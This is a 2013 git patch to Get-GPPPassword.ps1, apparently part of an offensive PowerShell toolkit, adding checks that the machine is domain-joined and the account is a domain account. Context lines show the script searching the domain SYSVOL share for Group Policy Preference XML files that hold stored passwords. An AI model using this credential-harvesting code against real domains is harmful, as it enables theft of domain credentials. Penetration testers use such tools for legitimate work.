From eb85e1ce9d7409ccd0fe27a310ed8708dfd0308f Mon Sep 17 00:00:00 2001 From: Chris Campbell Date: Wed, 3 Jul 2013 20:31:53 -0400 Subject: Terminating Errors Added Added checks to ensure that the script is being ran on a domain-joined machine and with a domain account. --- Exfiltration/Get-GPPPassword.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) (limited to 'Exfiltration/Get-GPPPassword.ps1') diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 6a9c192..6e6594d 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -60,6 +60,10 @@ catch {Write-Error "$Error[0]"} } + #ensure that machine is domain joined and script is running as a domain account + if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} + if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} + #discover potential files containing passwords $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' @@ -123,4 +127,4 @@ catch {Write-Error $Error[0]} } -} \ No newline at end of file +} -- cgit v1.2.3